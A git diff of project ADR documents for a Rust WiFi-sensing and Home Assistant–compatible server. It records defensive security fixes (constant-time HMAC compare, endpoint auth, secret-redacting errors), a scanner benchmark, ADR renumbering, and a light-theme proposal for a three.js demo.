+- **No benchmark was tuned to manufacture a pass.** The strict-bar gap is documented, not spun.
+
+### 11.5 Pinning tests
+
+- `estimator::estimator_is_deterministic` — fixed seed ⇒ identical estimate + identical bank top-K.
+- `estimator::estimator_unbiased_on_fixture` — Monte-Carlo mean over 4000 seeds converges to the true inner product within tolerance (the unbiasedness claim).
+- `coverage::estimator_rerank_not_worse_than_sign` — estimator-reranked coverage ≥ sign-only Pass-2 on a fixed fixture (must not regress).
+- Plus: `estimator_self_distance_is_small`, `x_dot_o_in_unit_range`, `zero_input_does_not_panic`, `bank_self_query_ranks_self_first`, `centroid_path_self_query_ranks_self_first`, `centroid_zero_matches_default`, `estimator_coverage_is_deterministic`.

docs/adr/ADR-157-hardware-sensing-beyond-sota.md

@@ -85,9 +85,11 @@ A new criterion bench (`harness = false`, registered in `Cargo.toml`) drives eac
 
 `OpportunisticCsiBridge::ingest` built `CsiReportPayload { n_subcarriers: self.amp_accum.len() as u16, … }`. The `as u16` would silently wrap a count above 65 535. **This is unreachable in practice**: `ingest` gates `frame.subcarrier_count() > MAX_REPORT_SUBCARRIERS` (484) at entry and returns `None`, and `report.validate()` independently rejects oversized counts downstream. We replaced the cast with `u16::try_from(self.amp_accum.len()).ok()?` (drop-instead-of-truncate) so the construction is **correct-by-construction** rather than relying on the upstream gate. We disclose this as **defense-in-depth on an unreachable path, not a live bug** — no behavior change, no new test (the gate already prevents the input that would exercise it).
 
-### 2.6 §B4 — constant-time HMAC tag compare: **DEFERRED, not landed** (disclosed)
+### 2.6 §B4 — constant-time HMAC tag compare: **RESOLVED — no-dependency hand-rolled constant-time compare (Milestone-1)**
 
-`secure_tdm.rs:284` compares the 8-byte HMAC tag with `self.hmac_tag == expected` (data-dependent, non-constant-time). The research authorized adding `subtle::ConstantTimeEq` **only if `subtle` were already a direct dependency** — it is not (only transitive, via a crypto crate). Per that guidance, and because this is an **8-byte tag on a LAN multistatic sync beacon** (not a remote attacker-controlled timing-oracle surface), we **do not add a direct dependency** for it. Tracked in §8 as a deferred item, not silently dropped.
+`secure_tdm.rs` compared the 8-byte HMAC tag with `self.hmac_tag == expected` (data-dependent, non-constant-time: short-circuits on the first differing byte, leaking through verification latency how many leading bytes a forged tag matched — a byte-by-byte tag-recovery oracle). Milestone-3 deferred this **only** to avoid adding the `subtle` crate as a direct dependency. Milestone-1 resolves it **without any dependency**: a hand-rolled `constant_time_tag_eq(a, b)` that XOR-accumulates every byte difference into a single `u8` with **no early exit**, then compares the accumulator to zero exactly once. `#[inline(never)]` + `core::hint::black_box(diff)` stop the optimizer from reintroducing a short-circuit or lowering the loop into a non-constant-time `memcmp`; a length mismatch returns `false` without inspecting contents. The former `==` verify site now calls this helper.
+
+**Test (fails on old code, the hard gate):** `tag_compare_is_constant_time_shape` — asserts correct accept/reject for equal, first-byte-differ, last-byte-differ, all-byte-differ, and length-mismatch tags, plus an end-to-end `verify()` last-byte-only tamper. Verified to **bite**: introducing a classic constant-time bug (loop `take(LEN-1)`, skipping the last byte) makes it fail on `last-byte-differ must reject`. A coarse timing-invariance smoke check `tag_compare_timing_invariance_smoke` exists but is `#[ignore]`d (noisy host — not a CI gate). **Grade MEASURED** (constant-time *construction*; micro-timing on a noisy host is only a smoke check, disclosed honestly). Tracked RESOLVED in §8.
 
 ---
 
@@ -143,7 +145,7 @@ Grades: **MEASURED** (source measured it, ideally public method/code), **CLAIMED
 | 1 | **CSI vital signs (HR/BR)** | Deep-CSI vital-sign models report **MAE ~2–3 BPM** vs our classical IIR-bandpass + autocorrelation/zero-crossing. | **DATA-GATED + CLAIMED** | **NO ACTION on method.** A deep model needs **paired PPG/ECG ground truth** we do not have, and no public ESP32 artifact reproduces the cited MAE on commodity CSI. Our classical method is the honest commodity baseline; the real wins this milestone are the A1/A3 robustness fixes, not a new model. |
 | 2 | **802.11bf-2025 conformance** | Adopt a conformance test-vector suite for the `ieee80211bf/` forward-compat model. | **CLAIMED (not public)** | **NO ACTION.** No commodity silicon ships a conformant 802.11bf interface as of 2026, and the conformance suites are **WBA / Wi-Fi Alliance pre-certification** material, **not public**. Our model's "no OTA encoding until silicon exists" posture (ADR-153) is the correct one. Tracked in §8: *add SBP conformance vectors when the WFA publishes a test plan* — we will **not invent vectors**. |
 | 3 | **Per-room calibration (ADR-151)** | Bank-of-specialists + drift-veto vs a 2026 calibration SOTA. | **CLAIMED on numbers, DATA-GATED on a head-to-head** | **NO ACTION on architecture.** The bank-of-specialists + drift-veto design is SOTA-shaped, but we have **no head-to-head PCK** against a published method (no paired multi-room data). The geometry-conditioned LoRA head is **built-but-unconsumed** and data-gated → **ACCEPTED-FUTURE** (§8), not built now. |
-| 4 | **Multi-BSSID throughput (wifiscan)** | The module docs assert a native `wlanapi.dll` FFI 10–20 Hz path; the current `WlanApiScanner` wraps `netsh` (~2 Hz). | **CLAIMED-unmeasured** | **NO ACTION + corrected expectation.** The native FFI fast path is **asserted but NOT implemented** — the live scanner is the ~2 Hz netsh shim. The "10×" is unmeasured. → **ACCEPTED-FUTURE** (§8). **We explicitly do NOT claim a speedup that does not exist.** |
+| 4 | **Multi-BSSID throughput (wifiscan)** | The module docs assert a native `wlanapi.dll` FFI 10–20 Hz path; the current `WlanApiScanner` wraps `netsh` (~2 Hz). | **MEASURED (Milestone-1)** | **IMPLEMENTED + MEASURED — real positive win.** Status corrected: the native FFI is **fully implemented and wired live** (`wlanapi_native::scan_native` calls `WlanOpenHandle`/`WlanEnumInterfaces`/`WlanGetNetworkBssList`/`WlanFreeMemory`/`WlanCloseHandle`; `WlanApiScanner::scan_instrumented` runs it native-first with a netsh fallback). Milestone-1 **measured both paths on this box** (Intel Wi-Fi 7 BE201 320MHz, 2026-06-13) over an identical 10 s wall-clock window via a new `benchmark_backend`: **native 21.42 Hz vs netsh 3.84 Hz = 5.57× MEASURED** (mean 5.0 BSSIDs/scan each; native-only run 18.0 Hz). Native genuinely beats netsh — a real measured multiple, **not** a fabricated 10×; the achieved 21.4 Hz lands in the asserted >2 Hz regime though below the asserted 10–20 Hz upper bound. 50 back-to-back native scans = 50/50 OK, no handle leak. → §8 MEASURED. |
 
 ---
 
@@ -176,10 +178,10 @@ Grades: **MEASURED** (source measured it, ideally public method/code), **CLAIMED
 
 ## 8. Deferred backlog (NOT silently dropped)
 
-- **§B4 constant-time HMAC compare** — `secure_tdm.rs:284` uses `==` on the 8-byte tag. Add `subtle::ConstantTimeEq` **if** `subtle` becomes a direct dependency for another reason; not worth a new dependency for an 8-byte LAN sync-beacon tag (out of the current threat model). Deferred, not dropped.
+- **§B4 constant-time HMAC compare** — **RESOLVED (Milestone-1).** Replaced the short-circuiting `==` on the 8-byte tag with a hand-rolled branch-free `constant_time_tag_eq` (XOR-accumulate, no early exit, `#[inline(never)]` + `black_box`). **No new dependency** — the `subtle` crate was the only reason this was deferred, and a fixed 8-byte compare needs none. Pinned by `tag_compare_is_constant_time_shape` (proven to fail on a last-byte-skipping bug). Grade MEASURED (constant-time construction). See §2.6.
 - **802.11bf SBP conformance vectors** (§5 #2) — add real conformance test vectors to the `ieee80211bf/` model **when the Wi-Fi Alliance / WBA publishes a public test plan**. Do not invent vectors before then.
 - **Geometry-conditioned LoRA calibration head** (§5 #3) — built-but-unconsumed and **data-gated** on paired multi-room PCK data (ADR-152 measurement (b): data, not architecture, is the bottleneck). ACCEPTED-FUTURE.
-- **Native `wlanapi.dll` FFI multi-BSSID fast path** (§5 #4) — the asserted 10–20 Hz path is **not implemented**; the live scanner is the ~2 Hz netsh shim. Implement and **measure** the real throughput before claiming any multiple. ACCEPTED-FUTURE, CLAIMED-unmeasured until then.
+- **Native `wlanapi.dll` FFI multi-BSSID fast path** (§5 #4) — **RESOLVED + MEASURED (Milestone-1).** The native FFI is implemented and wired live (native-first, netsh fallback). Measured on this box (Intel Wi-Fi 7 BE201 320MHz, 2026-06-13): **native 21.42 Hz vs netsh 3.84 Hz = 5.57×**, mean 5.0 BSSIDs/scan, 50/50 native scans with no handle leak. Real positive result — no fabricated 10×. See §5 #4. (Note: a prior sweep recorded 9.74 Hz on a different/older adapter; the per-adapter number varies, the ratio over netsh is the claim.)
 - **Deep-CSI vital-sign model** (§5 #1) — DATA-GATED on paired PPG/ECG ground truth. No public ESP32 artifact reproduces the cited ~2–3 BPM MAE. Not on the near-term path.
 
 ---

docs/adr/ADR-161-homecore-server-layer-security.md

@@ -265,3 +265,74 @@ Result at time of writing (all 0 failed):
   perform (B5).
 - Files kept under the 500-line guideline (`engine.rs` 462; behavioral tests
   moved to `tests/engine_behaviors.rs`).
+
+## Addendum — `homecore-api` follow-up security review (beyond-SOTA pass)
+
+A later network-facing review of `homecore-api` (the remote REST + WS attack
+surface) — independent of the ADR-154–159 sweep — found and fixed two real
+issues the original M7 pass (which focused on the WS auth bypass HC-WS-01, the
+reply-theater HC-WS-02, and the bin token provisioning HC-WS-08) did not catch.
+Both are LOW severity and reported at true severity.
+
+### HC-API-AUTH-01 — `GET /api/` was unauthenticated (FIXED)
+
+`rest::api_root` took no headers and unconditionally returned
+`200 {"message":"API running."}`, while every sibling route gates on
+`BearerAuth::from_headers`. HA's `APIStatusView` inherits `requires_auth = True`,
+so `/api/` must return **401** for a missing/wrong bearer. HA clients use the
+status route as a token-validation probe; a 200 told a bad-token client its
+token was valid and let an unauthenticated party confirm a live endpoint.
+LOW severity (the body is a static string; no entity/state data leaks).
+
+**Fix:** `api_root(headers, State)` now validates the bearer like `get_config`.
+**Pinned by** (fail-on-old, `tests/server_bin_auth.rs`):
+`api_root_rejects_missing_bearer`, `api_root_rejects_wrong_bearer` (both 200→401),
+guarded by `api_root_accepts_correct_bearer` (still 200 with a valid token).
+
+### HC-WS-LAG-01 — `subscribe_events` killed the stream on a broadcast lag (FIXED)
+
+The per-subscription task matched `Err(_) => break` on both broadcast
+`recv()` arms. `RecvError::Lagged(n)` (a slow consumer falling
+>`EVENT_CHANNEL_CAPACITY` = 4,096 events behind) is **recoverable** — the bus
+doc says "Lagged receivers must re-sync" and HA keeps the subscription alive
+across a lag. The old code treated the first lag as fatal, so after an event
+burst the client's stream went permanently silent with no error frame — a
+self-inflicted event-delivery DoS under load.
+
+**Fix:** `Lagged(_) => continue` (skip the dropped window, re-sync),
+`Closed => break`, on both the system and domain arms of the `select!`.
+**Pinned by** `subscription_survives_broadcast_lag` (`tests/ws_handshake.rs`):
+subscribes to a filtered event type, floods 6,000 unrelated events past the
+4,096 capacity to force a `Lagged`, then asserts a subsequent subscribed event
+is still delivered (old code: 5s-timeout panic).
+
+### Dimensions confirmed clean (with evidence)
+
+- **AuthN/AuthZ** — all 7 other REST handlers gate on `BearerAuth::from_headers`
+  → `LongLivedTokenStore::is_valid` before any work; the WS handshake validates
+  the `auth` token against the same store before the command loop, and
+  privileged commands are unreachable pre-`auth_ok`. Token compare is
+  `HashSet::contains` (content-independent timing — not the byte-`==` oracle of
+  ADR-157 §B4), so no timing-oracle finding. No route skips the gate; no
+  result-ignored check; no default/empty token accepted.
+- **Path traversal** — no route maps user input to a filesystem path (state is an
+  in-memory `DashMap`); `:entity_id` passes through `EntityId::parse`, a strict
+  `[a-z0-9_]+\.[a-z0-9_]+` ASCII allowlist that rejects `..`, `/`, `\`, and
+  absolute paths. No traversal surface.
+- **Injection** — no SQL, no shell/subprocess, no `format!`-into-response;
+  service/state bodies are typed `serde_json::Value` handed to the in-process
+  registry (HA-equivalent).
+- **Info-leak** — `ApiError` maps to fixed status + a typed `{message}`;
+  `ServiceError::HandlerFailed(String)` is integration-controlled (HA surfaces
+  the handler error too), never framework internals/paths/stack-traces — no
+  ADR-080-class leak.
+- **CORS** — explicit allowlist with `allow_credentials(false)` (HC-05),
+  not `permissive()`.
+- **De-magic** — no bare security-relevant literals in the crate worth
+  extracting (`EVENT_CHANNEL_CAPACITY` is already named in `homecore`; CORS
+  dev-default ports are documented).
+
+**Tests:** `homecore-api --no-default-features` **25 → 29** (+2 api-root auth,
++1 api-root accept-guard, +1 WS lag-survival), 0 failed. Workspace green.
+Python deterministic proof unchanged (homecore-api is off the signal proof
+path).

docs/adr/ADR-164-adr-corpus-gap-analysis.md

@@ -7,7 +7,7 @@
 
 ## Context
 
-The corpus has grown to **162 ADR entries across 156 distinct files** (ADR-001 through ADR-163, plus 6 duplicate-number collisions). It now spans nine subsystems — signal/DSP, NN/training, ESP32 firmware, RuvSense multistatic, RuView desktop, Cognitum cogs, HOMECORE (HA reimplementation), BFLD privacy, and the streaming engine — written over roughly a year by many agent-driven sessions.
+The corpus has grown to **162 ADR entries across 156 distinct files** (ADR-001 through ADR-171; the 5 duplicate-number collisions / 6 displaced files originally noted here were RESOLVED by renumbering the displaced files to ADR-166…171 — see Gap Register G1). It now spans nine subsystems — signal/DSP, NN/training, ESP32 firmware, RuvSense multistatic, RuView desktop, Cognitum cogs, HOMECORE (HA reimplementation), BFLD privacy, and the streaming engine — written over roughly a year by many agent-driven sessions.
 
 Two forces motivate a corpus-wide gap analysis *now*:
 
@@ -39,7 +39,7 @@ Counts are approximate (`~`) where a status string is non-canonical or dual-valu
 | Proposed (incl. conditional/research-only) | ~88 | partial | ~50 |
 | Superseded | 1 (ADR-002) | proposed-only | ~64 |
 | Rejected | 1 (ADR-098) | stale-or-contradicted | 3 (029/030/031) |
-| Missing / no Status header | 3 (ADR-147-proof, ADR-052-ddd, ADR-134) | unknown | 5 (034/044/052-ddd/147-proof/…) |
+| Missing / no Status header | 3 (ADR-168-proof [was 147], ADR-167-ddd [was 052], ADR-134) | unknown | 5 (034/044/167-ddd/168-proof/…) |
 | Mixed/dual status in one ADR | 3 (115, 149×2, 133) | superseded | 1 (ADR-002) |
 
 **Headline:** ~114 of 162 ADRs (≈70%) are decisions that never fully landed (proposed-only + partial + stale + unknown). The dominant failure mode is **stale Status headers**, not abandoned work.
@@ -50,8 +50,8 @@ Severity: CRITICAL (corpus integrity / tooling-breaking / life-safety / security
 
 | ID | Gap | Severity | Affected ADRs | Recommended action |
 |----|-----|----------|---------------|--------------------|
-| G1 | 6 duplicate ADR numbers (two ADRs answer to one number; breaks index/`/adr` tooling) | CRITICAL | 050×2, 052×2, 147×3, 148×2, 149×2, 134 (identity split) | renumber 2-of-3 at 147, 1 each at 050/148/149; demote 052-ddd to appendix; resolve 134 identity |
-| G2 | 3 files with no Status header (cannot triage) — **INVESTIGATED in `docs/adr-gap-remediation-1`: only 2 genuinely lack one, both owner-gated** | CRITICAL | 147-benchmark-proof, 052-ddd-appendix, ~~134-CIR~~ | add canonical `## Status`; relocate 147-proof to `benchmarks/`; label 052-ddd as appendix — **NOTE: ADR-134-CIR DOES have a Status (`\| Status \| Proposed \|` in its header table) — mislabeled here. The two real misses (147-benchmark-proof, 052-ddd) are both inside owner-gated duplicate-number collisions (147×3, 052×2), so left untouched pending owner. The early ADRs (048/049/068/070 etc.) use `\| Status \|` not `\| **Status** \|` — different-format-but-present, not missing. Net: 0 headers added.** |
+| G1 | ~~6 duplicate ADR numbers (two ADRs answer to one number; breaks index/`/adr` tooling)~~ **RESOLVED (duplicate-number item)** | CRITICAL | 050×2, 052×2, 147×3, 148×2, 149×2; 134 (identity split, separate) | ~~renumber 2-of-3 at 147, 1 each at 050/148/149; demote 052-ddd to appendix; resolve 134 identity~~ **DONE: displaced files renumbered to the next free numbers (166–171), keepers = first-committed file per number (date ties broken by inbound-ref count / parent-appendix relationship): 050 keeps provisioning-tool-enhancements → quality-engineering-security-hardening = ADR-166; 052 keeps tauri-desktop-frontend → ddd-bounded-contexts appendix = ADR-167 (still linked to parent 052); 147 keeps nvidia-cosmos/OccWorld → benchmark-proof = ADR-168, adam-mode-light-theme = ADR-169; 148 keeps drone-swarm-control-system → yoga-mode-pose-system = ADR-170; 149 keeps public-community-leaderboard-huggingface → swarm-benchmarking-evaluation-methodology = ADR-171. In-file headers, intra-file self-refs, all inbound cross-references (README index, census, lens-findings, user-guide, CHANGELOG, proof-of-capabilities, research docs), and this register updated. `ls docs/adr/ADR-*.md | … | uniq -d` is now EMPTY. The ADR-134 identity split is NOT a filename collision; resolved separately under G3 (→ ADR-165).** |
+| G2 | 3 files with no Status header (cannot triage) — **INVESTIGATED in `docs/adr-gap-remediation-1`: only 2 genuinely lack one, both owner-gated** | CRITICAL | ADR-168-benchmark-proof (was 147), ADR-167-ddd-appendix (was 052), ~~134-CIR~~ | add canonical `## Status`; relocate ADR-168-proof to `benchmarks/`; label ADR-167-ddd as appendix — **NOTE: ADR-134-CIR DOES have a Status (`\| Status \| Proposed \|` in its header table) — mislabeled here. The two real misses (ADR-168-benchmark-proof [was 147], ADR-167-ddd [was 052]) were inside the owner-gated duplicate-number collisions (147×3, 052×2); those collisions are now resolved (G1) but the missing Status headers themselves remain owner-gated, so left untouched pending owner. The early ADRs (048/049/068/070 etc.) use `\| Status \|` not `\| **Status** \|` — different-format-but-present, not missing. Net: 0 headers added.** |
 | G3 | ~~Shipped crates cite a non-existent or wrong-identity governing ADR~~ **RESOLVED in `docs/adr-gap-remediation-1`** | CRITICAL | homecore-recorder→"ADR-132" (no file); homecore-migrate→"ADR-134" (file is CIR) | ~~write-missing-ADR (HOMECORE-RECORDER, HOMECORE-MIGRATE)~~ DONE: wrote ADR-132 (recorder, Accepted) + ADR-165 (migrate, Accepted — P1 scaffold); repointed migrate's ADR-134 refs → ADR-165 |
 | G4 | Anti-slop retractions: accuracy/security/function provably false until sweep landed | CRITICAL | 155, 154, 079, 161 (see Contradictions) | already fixed in-code by 154/155/161/162; this ledger records the retraction |
 | G5 | ~~10 streaming-engine ADRs marked `Proposed` while §Impl-Status reports Built + commits + tests~~ **RESOLVED in `docs/adr-gap-remediation-1`** | HIGH | 136–145 | ~~mark-stale → "Accepted — partial (integration glue pending)" (one batch)~~ DONE: all 10 (136–145) flipped to "Accepted — partial"; each retains its commit-pinned Implementation-Status note. NB: notes describe *building blocks built + tested*, **not** live-path integration — "partial" is the honest label, not full "Accepted" |
@@ -60,7 +60,7 @@ Severity: CRITICAL (corpus integrity / tooling-breaking / life-safety / security
 | G8 | ADR-002 supersession not reciprocated by successors; 5 children stranded | HIGH | 002→016/017; children 003/007/008/009/010 | reconcile-docs (add reciprocal language or downgrade); split 002 to "partially superseded" |
 | G9 | Streaming-engine integrator crate has no governing ADR (composition/back-pressure/live-path seam) | HIGH | wifi-densepose-engine (composes 135–146) | write-missing-ADR |
 | G10 | CLAUDE.md doc-vs-header drift (doc says one status, header another) | HIGH | 017, 024, 027, 072, 152 | reconcile-docs |
-| G11 | Open security HIGH findings, gate FAILED, never marked done | HIGH | 080 (XFF bypass, leaked stack traces, JWT-in-URL CWE-598) | implement (sensing-server boundary — NOT covered by HOMECORE sweep 161/162) |
+| G11 | ~~Open security HIGH findings, gate FAILED, never marked done~~ **RESOLVED (2026-06-13, branch `fix/adr-080-sensing-server-security`)** | HIGH | 080 (XFF bypass, leaked stack traces, JWT-in-URL CWE-598) | ~~implement (sensing-server boundary — NOT covered by HOMECORE sweep 161/162)~~ DONE: verified all three against the *current Rust* `wifi-densepose-sensing-server`. **#2 leaked errors** was the one live exposure — 6 `main.rs` handlers serialized internal `Display`/`JoinError` into response bodies; fixed via a new `error_response` module (generic body + correlation id, detail logged server-side only). **#1 XFF** and **#3 JWT-in-URL** were verified *absent* on the Rust boundary (no IP-rate-limit/allowlist reads XFF; token is header-only, WS handlers take no query token) and pinned with regression tests that fail if either is re-introduced. ADR-080 P0 §1–3 marked RESOLVED. |
 | G12 | ADR-052→054 edge unacknowledged by successor; likely mis-modeled (impl, not replacement) | MEDIUM | 052-tauri, 054 | reconcile-docs (054 is the impl plan *for* 052, not a replacement) |
 | G13 | Capability governed only by remediation/deploy ADR, no creation/architecture ADR | MEDIUM | wasm-edge (only 160/163); occworld-candle (147 blessed Python path only); pointcloud (094 = viewer deploy only) | write-missing-ADR (taxonomy/ABI for wasm-edge; Candle backend swap; pointcloud data contract) |
 | G14 | Conflicting decisions on one topic, none superseding the others | MEDIUM | person-count 037/075/103; PQ-sign 007/109; fed key-exchange 107/108; provisioning 050/060/052; audit 010/028; RVF-WASM 009-vs-shipped | reconcile (pick one, supersede the rest) |
@@ -104,7 +104,7 @@ The ADR-154–163 sweep was narrowly scoped. The two largest **capability** gaps
 
 - **CRITICAL — Camera-teacher training validation (ADR-079 / 072 / 150).** P7–P9 Pending; blocker is a real synchronized camera+ESP32 paired-capture session + GPU training on the fleet (ruvultra RTX 5080). Cross-subject collapse (11.6%) is data-gated on a heterogeneous multi-subject CSI dataset, per ADR-150 §F3 / ADR-152 F3 (the lever is *more data*, not capacity). Accepted-on-paper, not proven.
 - **HIGH — Federation + BFLD privacy chains (ADR-105–109, 118–125).** All Proposed-only, ACs unchecked. Blockers: KIT BFId dataset (121), Pi5/Nexmon CBFR capture hardware (123 — ESP32 structurally cannot sniff CBFR), Soul-Signature + cog-ha-matter (122/125). The privacy control *plane* (ADR-141) is built; the *capture/scoring* chain it gates is not.
-- **HIGH — Sensing-server security (ADR-080).** Distinct from the HOMECORE boundary the sweep fixed; XFF bypass / stack-trace leakage / JWT-in-URL remain open.
+- ~~**HIGH — Sensing-server security (ADR-080).** Distinct from the HOMECORE boundary the sweep fixed; XFF bypass / stack-trace leakage / JWT-in-URL remain open.~~ **RESOLVED (2026-06-13, G11):** verified against the current Rust sensing-server — stack-trace leakage was the one live finding (fixed via `error_response` generic bodies); XFF bypass and JWT-in-URL were verified absent and regression-pinned. See ADR-080 P0 §1–3.
 - **MEDIUM — gold-standard deferrals (model to follow):** ADR-163 (ESP32 on-hardware latency UNMEASURED), ADR-160 (medical/affect/weapon NOT validated, relabelled), ADR-158 (RF-through-rubble + learned counter DATA-GATED). Code is real, the claim is withheld pending absent hardware/labelled data — labels are honest.
 - **MEDIUM — purely hardware/data-gated Proposed decisions (no overreach):** ADR-023, 027, 042, 063/064, 065/066, 070, 073/078, 083, 086, 091, 103, 110 (HE-CSI needs ESP-IDF ≥5.5), 113, 114, 134/135, 143-v2, 144. *needs verification* where flags rely on downstream prose rather than direct file inspection.
 

docs/adr/ADR-165-homecore-migrate-from-home-assistant.md

@@ -78,6 +78,23 @@ converts the entity registry; full conversion of the remaining artifacts is defe
 
 - `MigrateError` carries context (`path`, line/field) for I/O, JSON, YAML, missing-field,
   unsupported-schema-version, and entity-id parse failures (`src/lib.rs`).
+- **Secret-leak hardening (security review, 2026-06).** `secrets.yaml` parse failures must
+  NOT use the generic `MigrateError::YamlParse { source }` variant: `serde_yaml`'s message
+  for a typed-tag coercion error (e.g. `port: !!int <value>`) embeds the offending scalar
+  verbatim (`invalid value: string "<the-secret-value>"`), and that error propagates through
+  the `InspectSecrets` CLI path to stderr — leaking a secret value despite the CLI's
+  deliberate `<redacted>` design. `read_secrets` now maps such failures to a dedicated
+  redacting variant `MigrateError::SecretsParse { path, line, column }` that carries only the
+  file path and a coarse location (`serde_yaml::Error::location()`), never the scalar content.
+  Pinned by `secrets::tests::malformed_secrets_error_never_contains_secret_value` (asserts the
+  rendered error **and its full `#[source]` chain** never contain the secret value).
+  **Review dimensions confirmed clean with evidence:** source is never mutated (no
+  `fs::write`/`remove`/`create` anywhere — P1 reads source, writes nothing); paths are
+  user-supplied dirs joined with fixed filenames (no `..`/absolute traversal beyond the
+  user's own privileges); malformed/typed/truncated `.storage` JSON and YAML **error, never
+  panic** (every production `unwrap`/`expect` is test-only); unknown schema `minor_version`
+  hard-errors fail-closed; no SQL/shell/path injection surface (the tool emits diagnostics
+  only, persists nothing in P1).
 
 ### 2.5 Deferred to P2+ (NOT built — honestly labelled)
 
@@ -89,7 +106,9 @@ converts the entity registry; full conversion of the remaining artifacts is defe
 
 ### 2.6 Test evidence (as shipped)
 
-- 19 tests (`cargo test -p homecore-migrate`), per the crate README badge.
+- 21 tests (`cargo test -p homecore-migrate`) — 19 as originally shipped plus 2 added by the
+  2026-06 security review (`secrets::tests::malformed_secrets_error_never_contains_secret_value`,
+  `malformed_secrets_error_reports_location`).
 
 ## 3. Consequences
 

docs/adr/ADR-166-quality-engineering-security-hardening.md

@@ -1,4 +1,4 @@
-# ADR-050: Quality Engineering Response — Security Hardening & Code Quality
+# ADR-166: Quality Engineering Response — Security Hardening & Code Quality
 
 | Field | Value |
 |-------|-------|

docs/adr/ADR-167-ddd-bounded-contexts.md

@@ -1,4 +1,8 @@
-# ADR-052 Appendix: DDD Bounded Contexts — Tauri Desktop Frontend
+# ADR-167 Appendix: DDD Bounded Contexts — Tauri Desktop Frontend
+
+> Appendix to [ADR-052](ADR-052-tauri-desktop-frontend.md). Renumbered from ADR-052
+> to ADR-167 to resolve the ADR-052 duplicate-number collision (per ADR-164 Gap Register
+> G1); the parent decision remains ADR-052.
 
 This document maps out the domain model for the RuView Tauri desktop application
 described in ADR-052. It defines bounded contexts, their aggregates, entities,
@@ -158,7 +162,7 @@ Represents an over-the-air firmware update to a running node.
 | `target_node` | `MacAddress` | Target node MAC |
 | `target_ip` | `IpAddr` | Target node IP |
 | `firmware` | `FirmwareBinary` | The binary being pushed |
-| `psk` | `Option<SecureString>` | PSK for authentication (ADR-050) |
+| `psk` | `Option<SecureString>` | PSK for authentication (ADR-166) |
 | `phase` | `OtaPhase` | Uploading / Rebooting / Verifying / Done / Failed |
 | `progress` | `Progress` | Upload progress |
 

docs/adr/ADR-168-benchmark-proof.md

@@ -1,4 +1,4 @@
-# ADR-147 Benchmark Proof — OccWorld on RTX 5080
+# ADR-168 Benchmark Proof — OccWorld on RTX 5080
 Date: 2026-05-29
 Hardware: NVIDIA GeForce RTX 5080 (15.47 GB VRAM), CUDA 12.8
 Model: OccWorld TransVQVAE (random weights — pre-domain-fine-tuning baseline)

docs/adr/ADR-169-adam-mode-light-theme.md

@@ -0,0 +1,226 @@
+# ADR-169: adam-mode — light theme toggle for the three.js realtime demo
+
+| Field | Value |
+|-------|-------|
+| **Status** | Proposed |
+| **Date** | 2026-06-02 |
+| **Deciders** | ruv |
+| **Codename** | **adam-mode** |
+| **Scope** | `examples/three.js/demos/05-skinned-realtime.html` (primary), demos 01–04 (follow-on) |
+| **Relates to** | ADR-019 (sensing-only UI), ADR-035 (live sensing UI accuracy) |
+| **Tracking issue** | none yet |
+
+---
+
+## 1. Context
+
+`examples/three.js/demos/05-skinned-realtime.html` (build stamp `2026-05-15-fps-tune`) is the live MediaPipe → Mixamo retargeting + ESP32 CSI overlay demo. It currently ships a single, opinionated **dark theme**:
+
+- Body `--bg: #050507` (near-black), `--text: #d8c69a` (warm beige).
+- Amber accents (`--amber: #ffb840`, `--amber-hot: #ffe09f`) on panels and controls.
+- Two full-screen overlays: a radial-vignette `.overlay-frame` and a 50%-opacity CRT-style `.scanlines` layer.
+- Three.js scene matches: `scene.background = new THREE.Color(0x050507)` and `scene.fog = new THREE.FogExp2(0x050507, 0.06)` (lines 269–270).
+
+The dark/amber CRT aesthetic is intentional for screen-recording and "command-centre" feel, but it has real failure modes:
+
+1. **Daylight visibility** — Demoing the live capture on a laptop in a sunlit room is unreadable; the dark background absorbs ambient glare and the amber-on-dark contrast disappears.
+2. **Recording for embedded/print contexts** — When the demo's screen is captured for documentation, blog posts, or HA blueprints, the dark theme bleeds into surrounding white content and looks heavy.
+3. **Accessibility** — A subset of users with light-sensitive retinas (the inverse of typical photophobia) report the high amber-on-near-black combination strains them; high-contrast light themes are easier.
+4. **Operator pairing with a light-mode IDE** — Many operators run a light-mode browser alongside a dark-mode IDE and want the demo to match the browser, not the IDE.
+
+A toggle is the right answer because none of these reasons are universal — some sessions and some users want each mode.
+
+### 1.1 What this ADR is *not*
+
+- Not a redesign. The amber accent stays; only the surface colours and overlays swap. The information density, panel layout, and three.js scene geometry are unchanged.
+- Not a multi-theme system. We add exactly two themes: the existing dark (default, unnamed) and **adam-mode** (light). Future themes would need a new ADR.
+- Not a backend / data-model change. Pure presentation.
+- Not yet propagated to demos 01–04. Those follow-on after adam-mode lands on demo 05 and is validated.
+
+## 2. Decision
+
+Add a **client-side theme toggle** to `05-skinned-realtime.html` that switches between the existing dark theme and a new light theme called **adam-mode**, driven by a `data-theme="adam"` attribute on `<body>` plus a sibling `:root[data-theme="adam"]` CSS block that re-defines the existing custom properties. A new toggle button in the existing `#helpers` panel switches between modes and persists the choice in `localStorage` under the key `ruview.theme`.
+
+### 2.1 CSS — the colour swap
+
+Add immediately after the existing `:root { ... }` block in `<style>`:
+
+```css
+:root[data-theme="adam"] {
+    --bg: #f6f2ea;
+    --bg-panel: rgba(252, 250, 246, 0.92);
+    --amber: #b8741a;        /* deeper amber, readable on cream */
+    --amber-hot: #8a5612;    /* deepest amber for emphasis text */
+    --cyan: #1a6f8a;         /* slate cyan */
+    --magenta: #a8348a;      /* slate magenta */
+    --text: #2a241c;         /* near-black warm */
+    --text-mute: #7a6f5d;    /* warm grey */
+    --green: #1f7a32;        /* forest green */
+    --red: #b03a1a;          /* burnt sienna */
+    --border: rgba(184, 116, 26, 0.28);
+}
+```
+
+Every existing element already reads from these custom properties, so the swap is automatic for panels, text, borders, and bar fills. No per-element CSS rewrites required.
+
+### 2.2 Overlay handling
+
+The vignette and scanlines are dark-theme aesthetics. In adam-mode they would muddy the cream background. Two new rules:
+
+```css
+:root[data-theme="adam"] .overlay-frame {
+    background:
+        radial-gradient(ellipse at center, transparent 70%, rgba(184,116,26,0.10) 100%),
+        linear-gradient(180deg, rgba(184,116,26,0.06) 0%, transparent 18%, transparent 82%, rgba(184,116,26,0.08) 100%);
+}
+:root[data-theme="adam"] .scanlines {
+    opacity: 0.15;
+    mix-blend-mode: multiply;
+}
+```
+
+The vignette is preserved but inverted in colour and lightened; scanlines drop to 15 % opacity and switch from `overlay` to `multiply` blend so they read as faint paper texture rather than CRT lines.
+
+### 2.3 Three.js scene reactivity
+
